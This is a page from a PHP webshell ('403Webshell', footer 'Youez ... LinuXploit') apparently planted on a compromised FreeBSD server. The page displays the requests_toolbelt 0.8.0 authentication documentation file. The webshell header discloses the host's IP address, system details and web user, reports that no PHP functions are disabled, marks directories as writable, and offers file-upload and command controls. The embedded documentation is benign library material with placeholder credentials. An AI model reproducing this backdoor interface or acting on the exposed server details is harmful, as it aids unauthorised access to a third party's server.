403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/share/doc/requests-toolbelt/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/share/doc/requests-toolbelt//authentication.html

<!DOCTYPE html>
<!--[if IE 8]><html class="no-js lt-ie9" lang="en" > <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en" > <!--<![endif]-->
<head>
  <meta charset="utf-8">
  
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  
  <title>Authentication &mdash; requests_toolbelt 0.8.0 documentation</title>
  

  
  
  
  

  
  <script type="text/javascript" src="_static/js/modernizr.min.js"></script>
  
    
      <script type="text/javascript">
          var DOCUMENTATION_OPTIONS = {
              URL_ROOT:'./',
              VERSION:'0.8.0',
              LANGUAGE:'None',
              COLLAPSE_INDEX:false,
              FILE_SUFFIX:'.html',
              HAS_SOURCE:  true,
              SOURCELINK_SUFFIX: '.txt'
          };
      </script>
        <script type="text/javascript" src="_static/jquery.js"></script>
        <script type="text/javascript" src="_static/underscore.js"></script>
        <script type="text/javascript" src="_static/doctools.js"></script>
    
    <script type="text/javascript" src="_static/js/theme.js"></script>

    

  
  <link rel="stylesheet" href="_static/css/theme.css" type="text/css" />
  <link rel="stylesheet" href="_static/pygments.css" type="text/css" />
    <link rel="index" title="Index" href="genindex.html" />
    <link rel="search" title="Search" href="search.html" />
    <link rel="next" title="Deprecated Requests Utilities" href="deprecated.html" />
    <link rel="prev" title="Transport Adapters" href="adapters.html" /> 
</head>

<body class="wy-body-for-nav">

   
  <div class="wy-grid-for-nav">
    
    <nav data-toggle="wy-nav-shift" class="wy-nav-side">
      <div class="wy-side-scroll">
        <div class="wy-side-nav-search" >
          

          
            <a href="index.html" class="icon icon-home"> requests_toolbelt
          

          
          </a>

          
            
            
              <div class="version">
                0.8.0
              </div>
            
          

          
<div role="search">
  <form id="rtd-search-form" class="wy-form" action="search.html" method="get">
    <input type="text" name="q" placeholder="Search docs" />
    <input type="hidden" name="check_keywords" value="yes" />
    <input type="hidden" name="area" value="default" />
  </form>
</div>

          
        </div>

        <div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="main navigation">
          
            
            
              
            
            
              <ul>
<li class="toctree-l1"><a class="reference internal" href="user.html">requests toolbelt</a></li>
<li class="toctree-l1"><a class="reference internal" href="contributing.html">Contributing to this project</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="adapters.html">Transport Adapters</a></li>
<li class="toctree-l1 current"><a class="current reference internal" href="#">Authentication</a><ul>
<li class="toctree-l2"><a class="reference internal" href="#authhandler">AuthHandler</a></li>
<li class="toctree-l2"><a class="reference internal" href="#guessauth">GuessAuth</a></li>
<li class="toctree-l2"><a class="reference internal" href="#guessproxyauth">GuessProxyAuth</a></li>
<li class="toctree-l2"><a class="reference internal" href="#httpproxydigestauth">HTTPProxyDigestAuth</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="deprecated.html">Deprecated Requests Utilities</a></li>
<li class="toctree-l1"><a class="reference internal" href="downloadutils.html">Utilities for Downloading Streaming Responses</a></li>
<li class="toctree-l1"><a class="reference internal" href="dumputils.html">Utilities for Dumping Information About Responses</a></li>
<li class="toctree-l1"><a class="reference internal" href="formdata.html">Utilities for Enhanced Form-Data Serialization</a></li>
<li class="toctree-l1"><a class="reference internal" href="exceptions.html">Custom Toolbelt Exceptions</a></li>
<li class="toctree-l1"><a class="reference internal" href="sessions.html">Specialized Sessions</a></li>
<li class="toctree-l1"><a class="reference internal" href="threading.html">Using requests with Threading</a></li>
<li class="toctree-l1"><a class="reference internal" href="uploading-data.html">Uploading Data</a></li>
<li class="toctree-l1"><a class="reference internal" href="user-agent.html">User-Agent Constructor</a></li>
</ul>

            
          
        </div>
      </div>
    </nav>

    <section data-toggle="wy-nav-shift" class="wy-nav-content-wrap">

      
      <nav class="wy-nav-top" aria-label="top navigation">
        
          <i data-toggle="wy-nav-top" class="fa fa-bars"></i>
          <a href="index.html">requests_toolbelt</a>
        
      </nav>


      <div class="wy-nav-content">
        
        <div class="rst-content">
        
          















<div role="navigation" aria-label="breadcrumbs navigation">

  <ul class="wy-breadcrumbs">
    
      <li><a href="index.html">Docs</a> &raquo;</li>
        
      <li>Authentication</li>
    
    
      <li class="wy-breadcrumbs-aside">
        
            
            <a href="_sources/authentication.rst.txt" rel="nofollow"> View page source</a>
          
        
      </li>
    
  </ul>

  
  <hr/>
</div>
          <div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article">
           <div itemprop="articleBody">
            
  <div class="section" id="authentication">
<span id="id1"></span><h1>Authentication<a class="headerlink" href="#authentication" title="Permalink to this headline">¶</a></h1>
<p>requests supports Basic Authentication and HTTP Digest Authentication by
default. There are also a number of third-party libraries for authentication
with:</p>
<ul class="simple">
<li><a class="reference external" href="https://requests-oauthlib.readthedocs.org/en/latest/">OAuth</a></li>
<li><a class="reference external" href="https://github.com/requests/requests-ntlm">NTLM</a></li>
<li><a class="reference external" href="https://github.com/requests/requests-kerberos">Kerberos</a></li>
</ul>
<p>The <code class="xref py py-mod docutils literal"><span class="pre">requests_toolbelt.auth</span></code> provides extra authentication features in
addition to those. It provides the following authentication classes:</p>
<ul class="simple">
<li><a class="reference internal" href="#requests_toolbelt.auth.guess.GuessAuth" title="requests_toolbelt.auth.guess.GuessAuth"><code class="xref py py-class docutils literal"><span class="pre">requests_toolbelt.auth.guess.GuessAuth</span></code></a></li>
<li><a class="reference internal" href="#requests_toolbelt.auth.http_proxy_digest.HTTPProxyDigestAuth" title="requests_toolbelt.auth.http_proxy_digest.HTTPProxyDigestAuth"><code class="xref py py-class docutils literal"><span class="pre">requests_toolbelt.auth.http_proxy_digest.HTTPProxyDigestAuth</span></code></a></li>
<li><a class="reference internal" href="#requests_toolbelt.auth.handler.AuthHandler" title="requests_toolbelt.auth.handler.AuthHandler"><code class="xref py py-class docutils literal"><span class="pre">requests_toolbelt.auth.handler.AuthHandler</span></code></a></li>
</ul>
<div class="section" id="authhandler">
<h2>AuthHandler<a class="headerlink" href="#authhandler" title="Permalink to this headline">¶</a></h2>
<p>The <a class="reference internal" href="#requests_toolbelt.auth.handler.AuthHandler" title="requests_toolbelt.auth.handler.AuthHandler"><code class="xref py py-class docutils literal"><span class="pre">AuthHandler</span></code></a> is a way of using a
single session with multiple websites that require authentication. If you know
what websites require a certain kind of authentication and what your
credentials are.</p>
<p>Take for example a session that needs to authenticate to GitHub’s API and
GitLab’s API, you would set up and use your
<a class="reference internal" href="#requests_toolbelt.auth.handler.AuthHandler" title="requests_toolbelt.auth.handler.AuthHandler"><code class="xref py py-class docutils literal"><span class="pre">AuthHandler</span></code></a> like so:</p>
<div class="highlight-python"><div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">from</span> <span class="nn">requests_toolbelt.auth.handler</span> <span class="kn">import</span> <span class="n">AuthHandler</span>

<span class="k">def</span> <span class="nf">gitlab_auth</span><span class="p">(</span><span class="n">request</span><span class="p">):</span>
    <span class="n">request</span><span class="o">.</span><span class="n">headers</span><span class="p">[</span><span class="s1">&#39;PRIVATE-TOKEN&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="s1">&#39;asecrettoken&#39;</span>

<span class="n">handler</span> <span class="o">=</span> <span class="n">AuthHandler</span><span class="p">({</span>
    <span class="s1">&#39;https://api.github.com&#39;</span><span class="p">:</span> <span class="p">(</span><span class="s1">&#39;sigmavirus24&#39;</span><span class="p">,</span> <span class="s1">&#39;apassword&#39;</span><span class="p">),</span>
    <span class="s1">&#39;https://gitlab.com&#39;</span><span class="p">:</span> <span class="n">gitlab_auth</span><span class="p">,</span>
<span class="p">})</span>

<span class="n">session</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span>
<span class="n">session</span><span class="o">.</span><span class="n">auth</span> <span class="o">=</span> <span class="n">handler</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">session</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;https://api.github.com/user&#39;</span><span class="p">)</span>
<span class="c1"># assert r.ok</span>
<span class="n">r2</span> <span class="o">=</span> <span class="n">session</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;https://gitlab.com/api/v3/projects&#39;</span><span class="p">)</span>
<span class="c1"># assert r2.ok</span>
</pre></div>
</div>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">You <strong>must</strong> provide both the scheme and domain for authentication. The
<a class="reference internal" href="#requests_toolbelt.auth.handler.AuthHandler" title="requests_toolbelt.auth.handler.AuthHandler"><code class="xref py py-class docutils literal"><span class="pre">AuthHandler</span></code></a> class will check both
the scheme and host to ensure your data is not accidentally exposed.</p>
</div>
<dl class="class">
<dt id="requests_toolbelt.auth.handler.AuthHandler">
<em class="property">class </em><code class="descclassname">requests_toolbelt.auth.handler.</code><code class="descname">AuthHandler</code><span class="sig-paren">(</span><em>strategies</em><span class="sig-paren">)</span><a class="headerlink" href="#requests_toolbelt.auth.handler.AuthHandler" title="Permalink to this definition">¶</a></dt>
<dd><p>The <code class="docutils literal"><span class="pre">AuthHandler</span></code> object takes a dictionary of domains paired with
authentication strategies and will use this to determine which credentials
to use when making a request. For example, you could do the following:</p>
<div class="highlight-python"><div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">requests</span> <span class="kn">import</span> <span class="n">HTTPDigestAuth</span>
<span class="kn">from</span> <span class="nn">requests_toolbelt.auth.handler</span> <span class="kn">import</span> <span class="n">AuthHandler</span>

<span class="kn">import</span> <span class="nn">requests</span>

<span class="n">auth</span> <span class="o">=</span> <span class="n">AuthHandler</span><span class="p">({</span>
    <span class="s1">&#39;https://api.github.com&#39;</span><span class="p">:</span> <span class="p">(</span><span class="s1">&#39;sigmavirus24&#39;</span><span class="p">,</span> <span class="s1">&#39;fakepassword&#39;</span><span class="p">),</span>
    <span class="s1">&#39;https://example.com&#39;</span><span class="p">:</span> <span class="n">HTTPDigestAuth</span><span class="p">(</span><span class="s1">&#39;username&#39;</span><span class="p">,</span> <span class="s1">&#39;password&#39;</span><span class="p">)</span>
<span class="p">})</span>

<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;https://api.github.com/user&#39;</span><span class="p">,</span> <span class="n">auth</span><span class="o">=</span><span class="n">auth</span><span class="p">)</span>
<span class="c1"># =&gt; &lt;Response [200]&gt;</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;https://example.com/some/path&#39;</span><span class="p">,</span> <span class="n">auth</span><span class="o">=</span><span class="n">auth</span><span class="p">)</span>
<span class="c1"># =&gt; &lt;Response [200]&gt;</span>

<span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span>
<span class="n">s</span><span class="o">.</span><span class="n">auth</span> <span class="o">=</span> <span class="n">auth</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;https://api.github.com/user&#39;</span><span class="p">)</span>
<span class="c1"># =&gt; &lt;Response [200]&gt;</span>
</pre></div>
</div>
<div class="admonition warning">
<p class="first admonition-title">Warning</p>
<p class="last"><code class="xref py py-class docutils literal"><span class="pre">requests.auth.HTTPDigestAuth</span></code> is not yet thread-safe. If you
use <a class="reference internal" href="#requests_toolbelt.auth.handler.AuthHandler" title="requests_toolbelt.auth.handler.AuthHandler"><code class="xref py py-class docutils literal"><span class="pre">AuthHandler</span></code></a> across multiple threads you should
instantiate a new AuthHandler for each thread with a new
HTTPDigestAuth instance for each thread.</p>
</div>
<dl class="method">
<dt id="requests_toolbelt.auth.handler.AuthHandler.add_strategy">
<code class="descname">add_strategy</code><span class="sig-paren">(</span><em>domain</em>, <em>strategy</em><span class="sig-paren">)</span><a class="headerlink" href="#requests_toolbelt.auth.handler.AuthHandler.add_strategy" title="Permalink to this definition">¶</a></dt>
<dd><p>Add a new domain and authentication strategy.</p>
<table class="docutils field-list" frame="void" rules="none">
<col class="field-name" />
<col class="field-body" />
<tbody valign="top">
<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple">
<li><strong>domain</strong> (<em>str</em>) – The domain you wish to match against. For example:
<code class="docutils literal"><span class="pre">'https://api.github.com'</span></code></li>
<li><strong>strategy</strong> (<em>str</em>) – The authentication strategy you wish to use for
that domain. For example: <code class="docutils literal"><span class="pre">('username',</span> <span class="pre">'password')</span></code> or
<code class="docutils literal"><span class="pre">requests.HTTPDigestAuth('username',</span> <span class="pre">'password')</span></code></li>
</ul>
</td>
</tr>
</tbody>
</table>
<div class="highlight-python"><div class="highlight"><pre><span></span><span class="n">a</span> <span class="o">=</span> <span class="n">AuthHandler</span><span class="p">({})</span>
<span class="n">a</span><span class="o">.</span><span class="n">add_strategy</span><span class="p">(</span><span class="s1">&#39;https://api.github.com&#39;</span><span class="p">,</span> <span class="p">(</span><span class="s1">&#39;username&#39;</span><span class="p">,</span> <span class="s1">&#39;password&#39;</span><span class="p">))</span>
</pre></div>
</div>
</dd></dl>

<dl class="method">
<dt id="requests_toolbelt.auth.handler.AuthHandler.get_strategy_for">
<code class="descname">get_strategy_for</code><span class="sig-paren">(</span><em>url</em><span class="sig-paren">)</span><a class="headerlink" href="#requests_toolbelt.auth.handler.AuthHandler.get_strategy_for" title="Permalink to this definition">¶</a></dt>
<dd><p>Retrieve the authentication strategy for a specified URL.</p>
<table class="docutils field-list" frame="void" rules="none">
<col class="field-name" />
<col class="field-body" />
<tbody valign="top">
<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>url</strong> (<em>str</em>) – The full URL you will be making a request against. For
example, <code class="docutils literal"><span class="pre">'https://api.github.com/user'</span></code></td>
</tr>
<tr class="field-even field"><th class="field-name">Returns:</th><td class="field-body">Callable that adds authentication to a request.</td>
</tr>
</tbody>
</table>
<div class="highlight-python"><div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">AuthHandler</span><span class="p">({</span><span class="s1">&#39;example.com&#39;</span><span class="p">,</span> <span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">,</span> <span class="s1">&#39;bar&#39;</span><span class="p">)})</span>
<span class="n">strategy</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="n">get_strategy_for</span><span class="p">(</span><span class="s1">&#39;http://example.com/example&#39;</span><span class="p">)</span>
<span class="k">assert</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">strategy</span><span class="p">,</span> <span class="n">requests</span><span class="o">.</span><span class="n">auth</span><span class="o">.</span><span class="n">HTTPBasicAuth</span><span class="p">)</span>
</pre></div>
</div>
</dd></dl>

<dl class="method">
<dt id="requests_toolbelt.auth.handler.AuthHandler.remove_strategy">
<code class="descname">remove_strategy</code><span class="sig-paren">(</span><em>domain</em><span class="sig-paren">)</span><a class="headerlink" href="#requests_toolbelt.auth.handler.AuthHandler.remove_strategy" title="Permalink to this definition">¶</a></dt>
<dd><p>Remove the domain and strategy from the collection of strategies.</p>
<table class="docutils field-list" frame="void" rules="none">
<col class="field-name" />
<col class="field-body" />
<tbody valign="top">
<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>domain</strong> (<em>str</em>) – The domain you wish remove. For example,
<code class="docutils literal"><span class="pre">'https://api.github.com'</span></code>.</td>
</tr>
</tbody>
</table>
<div class="highlight-python"><div class="highlight"><pre><span></span><span class="n">a</span> <span class="o">=</span> <span class="n">AuthHandler</span><span class="p">({</span><span class="s1">&#39;example.com&#39;</span><span class="p">,</span> <span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">,</span> <span class="s1">&#39;bar&#39;</span><span class="p">)})</span>
<span class="n">a</span><span class="o">.</span><span class="n">remove_strategy</span><span class="p">(</span><span class="s1">&#39;example.com&#39;</span><span class="p">)</span>
<span class="k">assert</span> <span class="n">a</span><span class="o">.</span><span class="n">strategies</span> <span class="o">==</span> <span class="p">{}</span>
</pre></div>
</div>
</dd></dl>

</dd></dl>

</div>
<div class="section" id="guessauth">
<h2>GuessAuth<a class="headerlink" href="#guessauth" title="Permalink to this headline">¶</a></h2>
<p>The <a class="reference internal" href="#requests_toolbelt.auth.guess.GuessAuth" title="requests_toolbelt.auth.guess.GuessAuth"><code class="xref py py-class docutils literal"><span class="pre">GuessAuth</span></code></a> authentication class
automatically detects whether to use basic auth or digest auth:</p>
<div class="highlight-python"><div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">from</span> <span class="nn">requests_toolbelt.auth</span> <span class="kn">import</span> <span class="n">GuessAuth</span>

<span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;http://httpbin.org/basic-auth/user/passwd&#39;</span><span class="p">,</span>
             <span class="n">auth</span><span class="o">=</span><span class="n">GuessAuth</span><span class="p">(</span><span class="s1">&#39;user&#39;</span><span class="p">,</span> <span class="s1">&#39;passwd&#39;</span><span class="p">))</span>
<span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;http://httpbin.org/digest-auth/auth/user/passwd&#39;</span><span class="p">,</span>
             <span class="n">auth</span><span class="o">=</span><span class="n">GuessAuth</span><span class="p">(</span><span class="s1">&#39;user&#39;</span><span class="p">,</span> <span class="s1">&#39;passwd&#39;</span><span class="p">))</span>
</pre></div>
</div>
<p>Detection of the auth type is done via the <code class="docutils literal"><span class="pre">WWW-Authenticate</span></code> header sent by
the server. This requires an additional request in case of basic auth, as
usually basic auth is sent preemptively. If the server didn’t explicitly
require authentication, no credentials are sent.</p>
<dl class="class">
<dt id="requests_toolbelt.auth.guess.GuessAuth">
<em class="property">class </em><code class="descclassname">requests_toolbelt.auth.guess.</code><code class="descname">GuessAuth</code><span class="sig-paren">(</span><em>username</em>, <em>password</em><span class="sig-paren">)</span><a class="headerlink" href="#requests_toolbelt.auth.guess.GuessAuth" title="Permalink to this definition">¶</a></dt>
<dd><p>Guesses the auth type by the WWW-Authentication header.</p>
</dd></dl>

</div>
<div class="section" id="guessproxyauth">
<h2>GuessProxyAuth<a class="headerlink" href="#guessproxyauth" title="Permalink to this headline">¶</a></h2>
<p>The <a class="reference internal" href="#requests_toolbelt.auth.guess.GuessProxyAuth" title="requests_toolbelt.auth.guess.GuessProxyAuth"><code class="xref py py-class docutils literal"><span class="pre">GuessProxyAuth</span></code></a> handler will
automatically detect whether to use basic authentication or digest authentication
when authenticating to the provided proxy.</p>
<div class="highlight-python"><div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">from</span> <span class="nn">requests_toolbelt.auth.guess</span> <span class="kn">import</span> <span class="n">GuessProxyAuth</span>

<span class="n">proxies</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s2">&quot;http&quot;</span><span class="p">:</span> <span class="s2">&quot;http://PROXYSERVER:PROXYPORT&quot;</span><span class="p">,</span>
    <span class="s2">&quot;https&quot;</span><span class="p">:</span> <span class="s2">&quot;http://PROXYSERVER:PROXYPORT&quot;</span><span class="p">,</span>
<span class="p">}</span>
<span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;http://httpbin.org/basic-auth/user/passwd&#39;</span><span class="p">,</span>
             <span class="n">auth</span><span class="o">=</span><span class="n">GuessProxyAuth</span><span class="p">(</span><span class="s1">&#39;user&#39;</span><span class="p">,</span> <span class="s1">&#39;passwd&#39;</span><span class="p">,</span> <span class="s1">&#39;proxyusr&#39;</span><span class="p">,</span> <span class="s1">&#39;proxypass&#39;</span><span class="p">),</span>
             <span class="n">proxies</span><span class="o">=</span><span class="n">proxies</span><span class="p">)</span>
<span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;http://httpbin.org/digest-auth/auth/user/passwd&#39;</span><span class="p">,</span>
             <span class="n">auth</span><span class="o">=</span><span class="n">GuessProxyAuth</span><span class="p">(</span><span class="s1">&#39;user&#39;</span><span class="p">,</span> <span class="s1">&#39;passwd&#39;</span><span class="p">,</span> <span class="s1">&#39;proxyusr&#39;</span><span class="p">,</span> <span class="s1">&#39;proxypass&#39;</span><span class="p">),</span>
             <span class="n">proxies</span><span class="o">=</span><span class="n">proxies</span><span class="p">)</span>
</pre></div>
</div>
<p>Detection of the auth type is done via the <code class="docutils literal"><span class="pre">Proxy-Authenticate</span></code> header sent by
the server. This requires an additional request in case of basic auth, as
usually basic auth is sent preemptively. If the server didn’t explicitly
require authentication, no credentials are sent.</p>
<dl class="class">
<dt id="requests_toolbelt.auth.guess.GuessProxyAuth">
<em class="property">class </em><code class="descclassname">requests_toolbelt.auth.guess.</code><code class="descname">GuessProxyAuth</code><span class="sig-paren">(</span><em>username=None</em>, <em>password=None</em>, <em>proxy_username=None</em>, <em>proxy_password=None</em><span class="sig-paren">)</span><a class="headerlink" href="#requests_toolbelt.auth.guess.GuessProxyAuth" title="Permalink to this definition">¶</a></dt>
<dd><p>Guesses the auth type by WWW-Authentication and Proxy-Authentication
headers</p>
</dd></dl>

</div>
<div class="section" id="httpproxydigestauth">
<h2>HTTPProxyDigestAuth<a class="headerlink" href="#httpproxydigestauth" title="Permalink to this headline">¶</a></h2>
<p>The <code class="docutils literal"><span class="pre">HTTPProxyDigestAuth</span></code> use digest authentication between the client and
the proxy.</p>
<div class="highlight-python"><div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">from</span> <span class="nn">requests_toolbelt.auth.http_proxy_digest</span> <span class="kn">import</span> <span class="n">HTTPProxyDigestAuth</span>


<span class="n">proxies</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s2">&quot;http&quot;</span><span class="p">:</span> <span class="s2">&quot;http://PROXYSERVER:PROXYPORT&quot;</span><span class="p">,</span>
    <span class="s2">&quot;https&quot;</span><span class="p">:</span> <span class="s2">&quot;https://PROXYSERVER:PROXYPORT&quot;</span><span class="p">,</span>
<span class="p">}</span>
<span class="n">url</span> <span class="o">=</span> <span class="s2">&quot;https://toolbelt.readthedocs.org/&quot;</span>
<span class="n">auth</span> <span class="o">=</span> <span class="n">HTTPProxyDigestAuth</span><span class="p">(</span><span class="s2">&quot;USERNAME&quot;</span><span class="p">,</span> <span class="s2">&quot;PASSWORD&quot;</span><span class="p">)</span>
<span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">proxies</span><span class="o">=</span><span class="n">proxies</span><span class="p">,</span> <span class="n">auth</span><span class="o">=</span><span class="n">auth</span><span class="p">)</span>
</pre></div>
</div>
<p>Program would raise error if the username or password is rejected by the proxy.</p>
<dl class="class">
<dt id="requests_toolbelt.auth.http_proxy_digest.HTTPProxyDigestAuth">
<em class="property">class </em><code class="descclassname">requests_toolbelt.auth.http_proxy_digest.</code><code class="descname">HTTPProxyDigestAuth</code><span class="sig-paren">(</span><em>*args</em>, <em>**kwargs</em><span class="sig-paren">)</span><a class="headerlink" href="#requests_toolbelt.auth.http_proxy_digest.HTTPProxyDigestAuth" title="Permalink to this definition">¶</a></dt>
<dd><p>HTTP digest authentication between proxy</p>
<table class="docutils field-list" frame="void" rules="none">
<col class="field-name" />
<col class="field-body" />
<tbody valign="top">
<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>stale_rejects</strong> (<em>int</em>) – The number of rejects indicate that:
the client may wish to simply retry the request
with a new encrypted response, without reprompting the user for a
new username and password. i.e., retry build_digest_header</td>
</tr>
</tbody>
</table>
</dd></dl>

</div>
</div>


           </div>
           
          </div>
          <footer>
  
    <div class="rst-footer-buttons" role="navigation" aria-label="footer navigation">
      
        <a href="deprecated.html" class="btn btn-neutral float-right" title="Deprecated Requests Utilities" accesskey="n" rel="next">Next <span class="fa fa-arrow-circle-right"></span></a>
      
      
        <a href="adapters.html" class="btn btn-neutral float-left" title="Transport Adapters" accesskey="p" rel="prev"><span class="fa fa-arrow-circle-left"></span> Previous</a>
      
    </div>
  

  <hr/>

  <div role="contentinfo">
    <p>
        &copy; Copyright 2015, Ian Cordasco, Cory Benfield

    </p>
  </div>
  Built with <a href="http://sphinx-doc.org/">Sphinx</a> using a <a href="https://github.com/rtfd/sphinx_rtd_theme">theme</a> provided by <a href="https://readthedocs.org">Read the Docs</a>. 

</footer>

        </div>
      </div>

    </section>

  </div>
  


  <script type="text/javascript">
      jQuery(function () {
          SphinxRtdTheme.Navigation.enable(true);
      });
  </script>

  
  
    
   

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit